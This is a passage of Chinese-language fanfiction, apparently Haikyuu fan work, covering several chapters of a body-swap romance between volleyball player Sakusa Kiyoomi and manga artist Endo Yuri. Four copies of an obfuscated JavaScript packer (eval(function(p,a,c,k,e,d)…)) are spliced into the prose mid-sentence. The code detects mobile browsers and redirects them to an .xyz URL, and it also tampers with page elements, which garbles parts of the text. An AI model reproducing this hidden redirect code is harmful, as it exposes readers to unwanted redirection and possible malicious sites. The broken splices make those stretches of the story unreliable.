他继续道:“那种场合我已经习惯了,不这样做也没事的。但是她很细心,考虑到了我,所以我记住了她。” 由里静静听着他的回忆:“居然是这样的相遇……两个人都好温柔啊。” 他摇摇头:“说不上吧,其实很多球迷都很照顾我的习惯,反倒是我只是做了我的工作而已。” “不是啊,对于小心翼翼地对待佐久早君的人来说,能被注意到自己的小心也是一件很幸福的事情。” “只要那样做他们就会感到幸福吗?” “当然啦。” 他有些迟疑地点了点头:“感觉对远藤小姐来说幸福是一件很容易的事。” “是吗?”这下迟疑的人换成了由里,没有人问过她是不是幸福,所以她没有想过答案。 “算了算了,”她觉得这不是一个值得花时间细细讨论的话题,特别是今天晚上佐久早还有比赛的时候,“所以就算今天我不在佐久早君的身体里,你也会让外园小姐感受到你的重视的,对吧?” “如果这样做就够了,应该是吧。” 由里松了口气:“也就是说我没有给佐久早君带来什么不良影响。” 佐久早冷淡地说:“你有。” 由里迷茫地看了看他,好像没有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14548959|155345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么细节是她没有想到的啊。 佐久早打开群聊消息,宫侑不知道什么时候把他的合影照片发到了他们的小群里。 【宫侑:(图片)】 【宫侑:臣臣你是不甘心被我抢走“队内最帅”的称号所以偷练自拍了吗?】 【木兔光太郎:什么什么什么!臣臣原来有这么可爱的一面!】 【日向翔阳:为什么臣前辈的wink可以做得那么自然啊?等会能不能教我一下?我也想做这个!】 “为什么要这样乱用我的脸?” “因为外园小姐先这样做了,我想和她一样就……”由里解释不清,打开评论区给他看。 此时这张合影已经突破万转了。 【都给我点开Live看臣臣的wink啊啊啊啊啊!】 【看到佐久早君这样的超级大帅哥的wink神图才是我应得的。】 【是博主先做了他才做的,臣君就是这么有求必应!】 【真的好可爱,今年就靠这张照片活了。】 “大家都挺喜欢的啊。”由里越说越小声,因为佐久早的脸越来越黑了。 被他沉默地放置了几秒钟之后,由里提出了修正案:“对不起佐久早君,为了向你赔罪,我愿意一整个星期都由我来打扫家里的卫生。” 佐久早听闻更是气不打一处来:“让你打扫还不如让我搬家呢。” 哦对,忘了他是大扫除必须亲力亲为的洁癖君了。 佐久早走了。 回到酒店房间,看到桌子上放着佐久早帮她买的早餐,由里不由得有点愧疚。 佐久早对她这么好,她确实不应该随便用他的脸。 可是这真的太可爱了…… 她打开外园小姐的推文,偷偷把那张佐久早选手wink神图保存到了本地相册。 然后为它建立了私密相册。 以防这张美照遭遇不测,她特地没设面容解锁,只设了密码锁。 手机顶部出现了弹窗,是佐久早的消息。由里吓了一跳,手一滑,手机掉到床底下去了。 【臣臣:你今天还来吗?】 由里趴在床上一脸痛苦地捡手机。 【远藤由里:呜呜呜臣臣。】 【远藤由里:我以为你再也不会理我了。】 【臣臣:远藤小姐,我只是觉得像你这样的不可控因素还是留在身边比较安全。】 【臣臣:我的意思是如果不得不扯上关系的话。】 【远藤由里:我也想在臣臣身边。】 【臣臣:不要曲解我的意思。】 【臣臣:到底要不要去?等下要热身了。】 【远藤由里:我很想去,但是编辑突然让我帮忙画一个海报,明天就要。】 【远藤由里:只能含泪割爱了,但是我还是会在电视机前支持你的。】 【臣臣:这么突然?】 【远藤由里:可能真的很着急。】 【臣臣:看来你的编辑和你一样都是不可靠的人。】 【远藤由里:不是啦,本来海报是找一位外站画师约稿画的,但不知道为什么没谈妥,才临时叫我帮忙的。】 佐久早迟迟没读。她就也去做自己的事情了。 9. 第 9 章 由里第三次从酒店房间里醒来,昨天比赛结束,今天佐久早他们该回宫城去了。 除了通常的赛程,佐久早赛后还有采访和直播,一直忙到很晚。他们后来都没说上什么话。 她翻过身点亮手机屏幕,佐久早的手机上有好几条来自佐久早的消息。 【远藤由里:远藤小姐,我觉得你的身体快晕过去了。】 【远藤由里:你生病了吗?如果有需要吃的药我出发之前帮你吃。】 【远藤由里:还是因为之前说的那件事?我昨天看到消息了,但是太忙所以没来得及回复。】 【臣臣:对不起……我昨天只睡了两个小时。】 【臣臣:因为稿子要得很急,我交了初版之后编辑那边又提了很多需要修改的地方。】 【臣臣:我会快点去把身体换回来,真的很抱歉。】 今天两个人都早早出门,交换身体的过程非常顺畅。 佐久早犹豫了一下,还是问了:“昨天我就想说了,你是不是在工作上被不公正地对待了?怎么会忙到那么晚?” 由里摇摇头:“不是那么严重的事情,真的只是帮朋友的忙而已。上次我们见面朱里小姐还请我喝了一杯咖啡呢。” 佐久早皱了皱眉:“原来远藤小姐是一杯咖啡就能收买的人。” 由里解释:“她真的很亲切,这个也是突发情况,以后就不会再这样了。” 佐久早欲言又止:“希望如此。” 周一佐久早要回俱乐部趁热打铁进行详细的录像复盘,作为连续两场恶战的弥补,周二上午可以休息。 晚上佐久早回到家,只有卧室亮着灯。由里没有关上门,只是虚掩着,于是他路过时得以看到她还在赶稿。 佐久早敲敲门:“明天上午我休息,要不要帮你多睡一会。” “不用了,明天截稿,我肯定不能睡太久的。”由里回过头,脸上顶着黑眼圈,她已经很累了,所以说话的声音也轻轻的,“佐久早君还是照常做自己的事情就好。” 佐久早站在门口没有走:“从我们第一次见面开始,你总是在赶截稿日。” “其实本来都可以按正常时间画完的,但是上周朱里小姐让我帮忙画几个Banner配件。” “又是她?”佐久早忍不住问了出来。 他以前以为由里总是要紧赶慢赶才能完成作品是因为拖延成性,但是和她相处了一周,发现她明明把几乎全部的时间都投入在这件事情上还是做不完。 这分明就不是正常的。 由里叹了口气:“本来不用我画的,但是朱里小姐说原本设计Banner的美术编辑离职了,新编辑还没有交接好。” 佐久早追问:“那她给你钱了吗?” “没有,她说除了我实在没有人有时间帮忙,所以……” “远藤小姐,你对别人的过度关心已经透支了你的健康,影响到你的工作了。” 由里向他保证:“我会快一点画的,下次不会让佐久早君不舒服地醒来了。” 她根本就没懂。佐久早有点烦躁:“不是那个问题……” 他还想继续说,但由里看起来并没有精神和他争论这件事情。 她说:“我现在真的得去忙了。” 好吧。佐久早没有再坚持,回到了自己的房间里。 第二天早上由里早早起来找佐久早互换身体。 昨天她把进度好好赶了一下,虽然睡得还是比平时少了点,但是肯定不会让佐久早再体验起床之后脑子像被车撞了一样的痛苦了。 佐久早半开着门,这就是她已经可以进去互换的意思了,但是今天有点不一样,他在接电话。 由里过来的时候,电话已经挂断,只剩下一串紧凑的忙音了。 可是这是由里的手机啊,为什么佐久早会在接她的电话呢? “早,我正想和你说呢,”佐久早飞快地吻了她,“你的编辑打电话来,我帮你录音了。” 换回身体的由里拿到了自己的手机,顺势打开了电话录音。 她听到自己的声音说:“又来了,和其他的作者议价失败之后就来找我补位是吗?” 电话那头的朱里小姐尴尬地干笑了几声:“由里你怎么会这么想呢?我当然是觉得这个机会很合适你才会推荐你去画呀,你还是新人作者,曝光度很重要的……” “可是海报上面又没有我的署名,别人从哪里知道这是我画的图呢?” 朱里迟疑了一下:“哎?啊……只要画风足够有特点的作者都是可以被认出来的,由里觉得海报公开后对自己的人气没有帮助吗?这对你这种不成熟的作者来说也很正常,那正好借这个机会可以进行一下画风的探索呢。” “我知道了,那朱里小姐准备付我多少定金呢?” 朱里地声音突然放大了:“定金?之前不是没有给过你稿费也都做得好好的吗?由里,新人作者不能野心太大,你本来的基础稿费也是我极力争取过的……” “这是两件事情吧,之前我每次都在有自己的稿件要画的时候超负荷帮忙完成工作,不管原始的稿费是多少,这都是我超额完成的任务,难道我不应该为此得到稿酬吗?” 那边甚至听起来有点可怜兮兮的了:“由里……我们是朋友啊,你就帮帮我这个忙吧。” 佐久早都气笑了:“朋友会眼睁睁地看着她……看着我一天只睡两小时来帮你完成你自己的工作吗?” “你……你不拿我当朋友就直说嘛,还谈什么钱。”说完这句话,对面就恼羞成怒地挂断了。 由里听着电话的忙音怔住了。 佐久早说:“我的意思是,如果你需要的话这段录音可以作为她给你增加工作但没有提供任何回报的证据。” “可是……”由里十分茫然地拿着手机,“佐久早君,为什么你做这些之前不跟我商量一下呢?” 佐久早看到她的反应也愣了愣:“她打电话过来我就接了,你不是也用我的身体处理过紧急情况吗?” 由里说:“可是现在我们都在家里,你也可以挂断之后把我叫起来回拨啊。” 佐久早不明白她在想什么:“我这是在帮你维护你正当的权益,我做了这些她肯定不会再随便侵占你的时间了,你为什么不高兴?” “我都说了没关系的啊……”由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14548960|155345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里说,“这一整本漫画连载的时间我都还要和朱里小姐联系,如果把关系搞僵了之后会很难办的。” “如果她真的是为了你好就不会因为这种事情把关系搞僵了,你有必要继续跟这种利用你的人合作吗?” “朱里小姐她以前真的很好,在我刚入行的时候帮过我很多,如果不是因为佐久早君这样跟她说话……” “我说的话有什么问题?你就是不想承认你做错了。”佐久早不自觉地提高了音量,“你说她帮你,我难道就没有帮过你吗?我让你住在我家给你带饭请你看比赛,为什么你一口一个她很亲切但是反过来责怪我?” 一连串的提问让由里哑然,她的嘴唇颤抖着,半天才吐出一句:“佐久早君不也是因为不得不和我绑定在一起才帮我的吗?” 气氛一下就降到了冰点,佐久早阴沉着脸:“你就是这样看待我的?” 由里也知道自己说错话了,但是人在气血上涌的时候顾不得许多,她眼泪在眼眶里打转,嘴上却不饶人:“难道不是佐久早君自己说我很麻烦所以才要放在身边的吗?” 佐久早沉默了很久,最后嘲讽地笑了笑:“你以为我是随便什么人都愿意管的吗?” 她的眼泪刺得他眼睛疼。佐久早站起身,把门甩在后面走了。 由里到卧室里到洗手间去洗了把脸。 想到这是佐久早为了她能生活得方便让给她用的,她的喉咙又因为压抑的哭泣而疼痛起来。 她回看了朱里和她的聊天记录,无非就是朱里又想让她帮忙。 从分镜到线稿,她每一步都会跟朱里确认,所以朱里肯定是非常清楚的——如果今天由里帮她画了临时的工作,就绝对不可能按时交稿了。 佐久早的家隔音很好,所以由里以前都没有注意过,原来安安静静地待在房间里的时候,也是可以稍微听到外面的动静的。 她听到佐久早打开冰箱热了饭,听到水管放水的声音,不久之后又听到他从家里离开了。 她回到了一个人的寂静之中。 她很害怕这样的寂静,就像国中的毕业典礼上自己的身边空无一人的那种寂静一样。 所以哪怕是一点点善意,她也想拼命地抓住。 只要有人在就好了。 可是为了这个,她却把真正关心自己的人推开了。 第二天早上。 她怎么把这个忘了,灵魂互换是不会因为他们吵架就结束的。 就算佐久早从此讨厌她了,她也总得把人家的身体还回去。 由里从佐久早的身体里醒来,照常洗漱之后离开了房间,然后发现自己的身体正和一个有着长波浪发的穿着西装短裙的美丽女性一起站在门口。 “原来这是你的姐姐呀,”由里听到自己的声音说,“圣臣。” 由里无端地深吸了一口气:“早上好。” 佐久早的姐姐轻车熟路地按动了两下他地手部消毒喷雾,从鞋柜里取出了拖鞋:“你不给我介绍一下吗?” “这是远藤由里,我的……”由里求助地看向正待在自己身体里的佐久早。 佐久早看都没看她一眼:“女朋友。” 10. 第 10 章 “我就知道你谈恋爱了,你最近在社媒上积极得很可疑。”姐姐自来熟地挽住了由里的身体,把她拉到沙发上坐下,这一系列动作导致正待在由里身体里的佐久早不着痕迹地翻了个白眼。 由里只好跟着来到客厅里坐下。 “女朋友真漂亮。”姐姐一边称赞着,一边跟佐久早的身体热情相拥,“之前你回东京比赛的时候我太忙了所以没能去看对不起喔,这次我难得有机会来仙台出差马上就来看你了。” 由里不知道该如何反应,总觉得佐久早好像不是会心甘情愿接受这一切的类型,但是一把推开也太没礼貌了,所以她什么都没做。 这时姐姐一边搂着佐久早的身体一边激动地对佐久早的灵魂说:“以前他都会一把把我推开的,男人谈了恋爱真的会不一样啊!” 原来他还真干得出来这种事啊。 姐姐转过头面朝由里:“放心吧圣臣,我会拼命跟爸爸妈妈说你们的好话的。” 佐久早拼命用手指在嘴上比了个叉。 由里堂皇地拒绝:“不要和他们说。” “要保密吗?”姐姐像拉拉链一样用手指在嘴唇上一拉,随后用气声说,“我想和木村智源选手合影。” 佐久早用口型问:“谁?” “木村选手是谁啊?”由里问。 “你不知道吗?他是最近刚加入棒球国家队的投手,长得超级帅的。”姐姐说,“圣臣你除了排球也要关心关心其他的事情啊,不然怎么跟女孩子有共同话题?” 佐久早嘀嘀咕咕:“她两周前连我是谁都不知道。” 姐姐问:“什么?” 佐久早说:“就是啊,圣臣怎么连这个都不知道。” 由里:? 姐姐闻言却开心地对由里的身体说:“我真是越来越喜欢你了,其实我这次来是为了一个展会,感兴趣的话欢迎你也来玩。” 说罢,她从精致的小皮包里掏出一张名片,不由分说地塞给了由里的身体。 打开皮包的姐姐顺便拿出手机看了眼时间:“我还准备去见个朋友,就不打扰你们了,要幸福喔。” 说完这位风风火火地来的姐姐又风风火火地走了。 她好热情……感觉像被放在太阳底下狠狠地炙烤了一样。 由里送完姐姐到门口,感叹说:“佐久早君的家人和佐久早君的性格原来这么不一样。” 说完她又有点后悔,他们才刚吵完架呢,佐久早不会用她自己的身体骂她一顿吧。 短暂地沉默之后。 由里:“对不起。” 佐久早:“抱歉。” 佐久早:“现在这样到底算谁在道歉啊?” 由里马上低下头亲了她自己的身体。 本来关上的门在这时打开了。 姐姐用口型做了个“哇哦”,解释道:“我的手套忘记拿了。” 她伸长手把放在鞋柜上的手套拿出去,对真正的佐久早眨了眨眼。 佐久早理都不理她,撞上门之后把门别上了。 直到空气再次安静下来,由里才继续说下去:“我不应该那样说你,我知道佐久早君是真的对我好的。你说得对,都是因为我不愿意承认我其实是不被喜欢的,才会那么软弱。” 佐久早说:“我也……” 由里的手机铃声突然响了起来:“是小雪,等一下。” 她接通了电话,只问了“怎么了”,听了一会之后说:“你先报警,我马上到。” “我得先走了。”由里匆匆回到房间去换外出的衣服。 她换好出来的时候,佐久早也换上衣服站在门前:“我也去。” “不是还有训练?” “需要报警解决的事情你一个人去怎么行?”佐久早把挂在门上的车钥匙取下来,“我送你。” 坐在车上,由里简单解释了小雪那边的情况。 她们出租屋的对门昨天来了一群人聚会,对方很晚还在吵闹,小雪敲门提醒了两次无果就报了警,报警之后他们倒是安静了一会,但是为了报复,他们一整晚恶意敲门了很多次,甚至现在还堵在门口。 说到这里,由里问:“可以在前面停一下吗?” 佐久早停在路边,看到由里去便利店买了两瓶酒。 他再次启动轿车:“你是那种需要喝酒壮胆的人吗?” 由里说:“不是的,我从来不喝酒,因为酒比其他饮料都贵。” 车开到楼下,由里跟佐久早道别:“佐久早君,你现在回去还能赶上训练,要是迟到就不好了,快走吧。” 她还给佐久早指了指停在楼下的警车:“我让小雪报警了,我就是去陪陪她,不会有事的。” 佐久早没说话,只是点点头。 由里独自进入楼道,听到警察的声音。 “昨天我们同事已经调解过了,你们双方都达成了共识,同意不再继续发出噪音了,但是我们走后你们又在继续扰民,这是不是事实?” 几个酒醉的男人大着舌头嬉皮笑脸:“这怎么能算扰民呢?我们只是想得到这位小姐的谅解啊,可是她一直不开门,我们有什么办法?” 甚至还有人在继续敲防盗门,想让小雪把防盗门打开。 他们没有造成什么实质性的伤害,警察只能劝阻,但也不能强行逮捕,场面十分混乱。 由里停在拐角处,袋子里的酒瓶轻轻对碰,发出清脆的响声。 她把袋子放下,一手拎起一只酒瓶,一手托住瓶底,转过拐角面向他们。 酒瓶从人群中间飞过,击中了楼道的白墙,炸开的样子就像烟花。 一片死寂中,所有人都不得不听到这个突然出现的女人的声音: “你们有完没完?” 佐久早在楼下停了一会,但还是觉得不放心,于是干脆熄火上楼去。路上他撞见几个酒气熏天的男人东倒西歪地往外走,他皱了皱眉,听到其中有个人低声咒骂着“疯子”。 他加快了脚步,飞快地按动电梯楼层键,直到电梯门打开。 “你们这样做太危险了,下次不能再这样了啊……是你报的警吗?在这签个字。” 听到警察还在,而且也没有什么争斗的声音,他稍微放心了点。 他走过拐角,看到由里一个人蹲在满是玻璃碎片的地上,他径直走向她攥住了她的手腕。 “等一下,很脏……”由里刚才在打扫玻璃,本能地想把手抽回来,但佐久早发球时速破两百公里的手根本就不松开她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14548961|155345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他把由里的手腕转过来再检查手心。由里才发现或许是太过用力又或许是太过紧张,他的手在颤抖着。 “我没事,真的没事。” 佐久早仔仔细细地全都看过,才意识到这样的接触是他们两个之间前所未有的,他有点尴尬地顿了顿,缓缓收回手。 “你放心吧,我算好了,让酒瓶的瓶身接触墙壁,瓶底和瓶口就都不会反弹伤人。没有人受伤,我只是想吓吓他们。”由里站起来给他比划着,“我还特意想着要扔到对方肩部以下的位置,这样声音离耳朵更近。” “可是为什么只扔到这里,”佐久早跟着她站起身,指了指墙壁上的液体痕迹——它的高度连由里的腰都没到,“他只有这么高?” 由里不好意思地笑了笑:“我太久没锻炼了,手劲把握得不太好。” 佐久早也跟着笑了:“远藤小姐还挺有自知之明的。” 其中一位警察看了看佐久早:“男朋友来了?看你男朋友多关心你啊,你们年轻女性住在一起就是不方便,如果都跟男朋友住一起就没事了。” “是‘如果他们不扰民就没事了’,”由里正色道,“我知道您没有恶意,但是想怎样生活是我们的自由,错的是他们。” “算我多嘴了,”那位警察笑了笑,“不过以后你可别真跟别人硬碰硬。” 由里点点头:“我明白,给您添麻烦了。碎片我都打扫好了,墙上我也会擦干净的。” 警察走后,小雪小声说了一句:“佐久早选手你可真关心由里酱。” 佐久早看着由里送别警察的背影:“她那样的人……我怕她被欺负。” 小雪听完居然笑了:“佐久早选手你还是不够了解由里酱!她人又好又聪明,大学的时候我被宿舍里的人排挤,就是她帮我出头又带我出去合租的。由里酱是我最崇拜的人,她才不是随便什么人都能欺负的呢。” 佐久早一脸不可思议:“真的?” “当然——啊!”小雪突然想起什么一样捂住嘴,“你不会因为我这么说了就不关心她了吧?厉害的人也是需要关心的。佐久早君你会珍惜她的吧?会吧会吧?” 小雪看到的由里和他看到的由里简直就像两个人一样。 佐久早一时间分不清自己是在配合演戏,还是真的对这一切产生了涉足其中的好奇心,他说:“我会的。” “什么会不会的?”由里不知道为什么自己只是离开一会他们就说起了云里雾里的话题,“我觉得还是不太安全,得跟小雪商量一下搬家的事情。佐久早君你先走吧,今天真的很感谢你。” 【臣臣:刚才不太方便说。】 【臣臣:其实你可以直接搬到我家里住的。】 【由里:但是佐久早君,我觉得我还是要有个其他落脚的地方。】 【由里:你有自己的家人朋友,这样他们不是都不方便过来了吗?】 【由里:就算我们一直互换下去,我总不能一辈子和你住在一起吧?】 由里放下手机,开始帮小雪把零七八碎的桌面摆件收进纸盒里。 “什么?由里酱你还想和我合租?”小雪一边把衣柜里的衣服一把拖出来一边说,“你和佐久早君的关系这么好,你总不能一辈子和我住在一起吧。” 11.第 11 章 通常来说,佐久早对一个人除了球技和卫生状况以外的信息并不关注。 但是他现在正在进行一项秘密的人类观察。 早上。 “远藤小姐,你想吃三文鱼还是牛油果鸡蛋?” “都可以,佐久早君做什么我都愿意吃。” 中午。 “远藤小姐,浴室的喷头坏了,我报修了,但是一直没有人来修。” “我问问。”由里很快拨通了电话,“推迟?不方便,我们这边也很紧急的,麻烦按照预约顺序来。” 晚上。 “远藤小姐,我有事情想和你商量一下,你明天上午还是下午有空呢?” “都可以啊。” “你本来的安排是?” “上午画稿,下午去看房和整理搬家需要带走的东西。” “那不是全都没空吗?” “但是佐久早君有固定的训练安排,总不能随便更改吧,我来配合你的时间就可以了。” 佐久早沉默了一会:“我现在明白了。” “什么?” “在替别人说话的时候你都能好好地拒绝、同意或者做出选择,但是轮到你自己的事情的时候却不能。” “有吗?”由里想了想,“我确实选哪边都是可以的。” “就算是很细微的差别,总有你更偏向的一方吧?”佐久早说,“就像我,不能接受的事情马上就会拒绝,所以你完全知道我的卫生习惯和作息安排。” “因为佐久早君对生活的要求比较高吧,我的话刚好这样也没问题,不需要特别顾虑我。” “可是你喜欢什么,需要什么,怎么才能过得更舒服,这些我也想知道。”佐久早说,“我们住在一起,这不是我应该做的吗?” 这是他应该做的吗? 由里并不是很确定,她大学以前的同居人很显然并不以此为自己的义务,自然而然地,她也不期待其他人花时间来了解她的需求。 对待别人她能帮就帮,只有被需要的时候她才相信这段关系可以持续下去。但对待自己,她更情愿相信没有期望就没有失望。 佐久早对她已经非常非常好了,如果再要求更多,他难道就不会有厌烦的时候吗? 可是他说:“从今天开始每天都提出一件想做的事,或者拒绝一件不想做的事。必须是和其他人都无关的,只和远藤小姐的喜好有关的事。无论如何我都不会评价这件事。怎么样?” “佐久早君大学学的是心理学吗……” 佐久早并不懂她冷笑话式的恭维:“是体育学,为什么要问这个?” “没什么,就是还挺感动的。” 佐久早大概也理解不了自己的行为触发的情绪居然包括“感动”:“远藤小姐说话前言不搭后语的,到底要不要答应啊?” 她点点头:“当然要。” 因为他是那种能让人产生勇气的人。 即使有可能会失望,她也还是会愿意和他一起看看不一样的世界。 于是到了第一天。 “远藤小姐,A牌的酸奶换包装了吗?” “啊,不是的!里面那瓶才是佐久早君的,这个是我的。”由里从冰箱里拿出另一瓶递给他,“我买了有糖的,因为无糖的一点味道都没有……” “不是有酸奶的味道吗?”佐久早疑惑。 “可是我想喝甜的……”由里十分宝贝地把自己的那份酸奶捧回手里,“说好了不评价的——” 对上她的星星眼,佐久早只好点了点头转而吃他自己的饭去了。 第二天。 今天MSBY在自家主场比赛,佐久早上午就要出发去仙台体育馆踩场。 由里为此感到十分激动:“又到了我要在电视机前支持佐久早君的日子了。” 佐久早未雨绸缪:“事先说明一下如果你的要求是在采访时wink我不会答应的。” “对喔,我怎么没想到呢……”由里一脸遗憾。 “不是这种?” “不像佐久早君那么有创意,我是想问问我能躺在你的沙发上看吗。” “当然,”佐久早说,“记得洗澡并穿家居服——我的意思是从没有穿出门过的衣服——还有不要穿鞋。” 由里有点茫然:“我为什么会穿着鞋躺在沙发上?” 佐久早眉头紧皱着提起了他痛苦的回忆:“如果你不会当然最好,但是参加完联谊酒会的真希会……” 真希就是佐久早的姐姐——这是由里后来在那天她留下的名片上得知的。 回想起热烈的真希,由里再次感叹:“真希姐姐和佐久早君还真是完全不一样。” “她也是佐久早。” “我知道呀。” “你和她只见过一次。” 由里诚恳道:“虽然一上来就叫名字是有点唐突,但是总得区别一下嘛。” 佐久早短促地“哦”了一声,招呼都不打就出门了。 “臣臣!”由里没想到他这么不禁逗,追到门口去叫他。 等他回头看她,由里才和他招招手:“加油喔。” 她现在这么叫已经没什么压力了,反正在Line上这样叫过很多次,看起来在线下叫也不会被扫地出门。 比如现在,佐久早像没听到一样进电梯了。 古森从电梯里探出头,大声对由里说悄悄话:“他笑得超开心的。” 然后他被一把拽回去了。 第三天。 “臣臣,我在想一件事。”由里洗漱过后到客厅里去找正在等她互换的佐久早。 她说:“如果我想拒绝的事情是换回身体的话,我是不是可以一整天都生活在你又高又帅又超级健康的身体里啊?” 佐久早对这个设想很意外:“你认真的?” 今天佐久早还有第二场比赛呢,她怎么可能是认真的? 但是看他好像真在思考的样子,由里不由得起了玩心,她坐到佐久早旁边:“对呀,不是说不管我的要求是什么都不会评价吗?” 她自己的身体还是一言不发,只是凑到了她面前。 佐久早透过由里的眼睛面无表情地打量着他自己身体里的由里。 他眨眼的节奏简直就像发球前读秒的样子。 一。 二。 三…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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由里感到不可思议:“真希小姐原来是这样的啊……可以策划那么大的展会的人确实不一般。” 佐久早把她的手机拿给她:“你看看她的展会资讯可能就知道了。” 由里之前已经和真希留下的账号互关了,现在很快就搜到了她的主页。 “啊!轻舟老师!” 她给佐久早介绍着:“轻舟老师是一个很有名的漫画作者,她喜欢画严肃的作品,在很多节展都得过奖,但是从来没有出席过任何的活动,非常神秘。” “真希请到了她来当嘉宾吗?” 由里越讲越激动:“是的!我买过她的很多书!之前确实听说过她住在仙台,但是从来没有想过会有机会见到本人。” 佐久早表示理解:“如果是这么重磅的人脉的话,你就能明白她为什么把我卖了吧?” “不过换个角度想,臣臣的家人为了了解你的近况真的好努力。” 佐久早叹了口气:“有时候他们太努力也不算是好事。” 由里看着他愁眉苦脸的样子忍不住笑了:“能做的事情我会尽量做的,要怎么做呢?” 12.第 12 章 “他们下周六想要过来住一晚。”佐久早说,“所以我想问的是,呃……” 短暂的沉默让由里大概意会了他的意思:“我们要睡在一起吗?” 她直白地说出来显然让佐久早也松了口气:“对,可以吗?” “当然。”由里怕他尴尬,还特意补充,“反正我们都知道对方每天醒来是什么样子,也没什么好紧张的,对吧?” 佐久早便十分配合地点点头:“还有,为了装得更像样一点,你能先把你的生活用品搬过来吗?” “原来是为了这个,臣臣连这么细节的事情都想到了啊……”由里回想了一下自己之前整理出来的大包小包,“没问题呀,不过我的东西有点多,可能收拾的过程中屋子里会有点乱。” 佐久早表示理解:“没事,远藤小姐不是快到截稿日了吗?阶段性的杂乱我是可以忍受的,所以不用太着急。” 由里摇摇头:“最近一段时间不会有截稿日了。” 佐久早眉头微皱:“为什么?” 由里神秘兮兮地笑了笑:“臣臣不是叫我不要做不想做的事情吗?” 他愣了愣才反应过来:“这件事也这么快?” “好不容易产生了过新的生活的勇气,当然得一鼓作气啦。”由里说,“我原本的作品本来就要完结了,拒绝了续约,接下来准备一边接一些私人稿件一边投稿我的新作。” 这还真是令人意外,不过是意外之喜。佐久早替她舒了口气:“那真是该祝贺远藤小姐了。” “臣臣你总不能叫女朋友也只叫姓氏吧?”由里一本正经地纠正,“为了演戏的时候不叫错现在就改口吧。” 佐久早站起来:“我得走了。” 由里也跟着起身:“为什么要害羞啊?臣臣不是把我的备注都改成名字了吗?” 佐久早一边走到门口换鞋,一边顾左右而言他:“你为什么要看别人的手机?” 由里一边说一边追到门口:“因为用你的脸一对上手机它就自己解锁了啊,我们第一次见面还是你先用我的手机给我打电话的呢——臣臣不要转移话题,我在说……” 由里的声音戛然而止,因为佐久早倏地靠近了她。 他倾身将她笼罩在自己身体的阴影里,这不是为了交换身体,也不是另有所图,就只是他想这么干。 她忍不住后退了一步,然后发现自己的后背贴到了墙上。 佐久早宽敞的公寓什么时候变得这么窄了? 由里避无可避,只好屏息同佐久早对视着,她发现他的眉上痣看起来又是那么清晰了。 他说:“我在说,我要出去了。” 由里觉得佐久早靠近她的时候和清扫灰尘时的感觉很像,她的鼻子痒痒的,眼睛也痒痒的。 但是喜欢并不是打个喷嚏就能缓解的事情。 而且她要是敢对佐久早圣臣的脸打喷嚏,后者说不定会把她像灰尘一样清扫出门的。 他离得更近了些,直到由里的耳朵能感觉到他的鼻息:“由里。” 他说完就走了。 还是笑着出去的,这很好玩吗? 由里告诉小雪自己要把东西先搬到佐久早家,小雪表示对此并不意外。 但当她一天搬错了三次箱子的时候小雪就有点奇怪了:“由里酱你这是怎么了?心不在焉的。” “小雪你觉得喜欢上一个不该喜欢的人该怎么办啊?” 小雪一脸紧张:“佐久早选手有情敌了?” “啊?” “由里酱,你不要害怕,哪怕是辜负佐久早选手这种完美的男人也没关系,无论如何我支持你的幸福……”小雪的脸上流露出纠结痛苦的神色,“但是你真的不再考虑考虑佐久早选手了吗?” “不是……呃,如果我喜欢的就是他呢?” “他都跟你谈恋爱了,有什么不该喜欢的啊?”小雪沉思了一会,“我明白了,你是不是觉得感情里谁先动了真心谁就会吃亏?是佐久早选手的话没关系,他对你也是真心的。” 由里在小雪的劝导中轻飘飘地搬完了家。 然后喜提因托举重物报废的双臂。 由里现在有点后悔要佐久早叫她的名字了。 每一次被他这样叫,她都会想起那天他凑到自己耳边低语的样子,然后头皮发麻浑身僵硬地应答他挑起的话题。 而且佐久早发现了这一点。 他玩得更开心了。 虽然他没在神情方面表现出来,但是他绝对为此得意极了。 如果她在扮演佐久早女友的过程中由于心跳过速晕倒了能算工伤吗? 周六MSBY继续主场比赛,所以周五的训练结束得早了些,可供选手们养精蓄锐。 佐久早也因此没有像平时一样自主训练到很晚,只进行了一些稳定手感的练习就回来了。 “他们明天晚上过来。”佐久早接着告诉了由里他父母更具体的行程。 “我知道,不是说要一起去看臣臣比赛吗?” 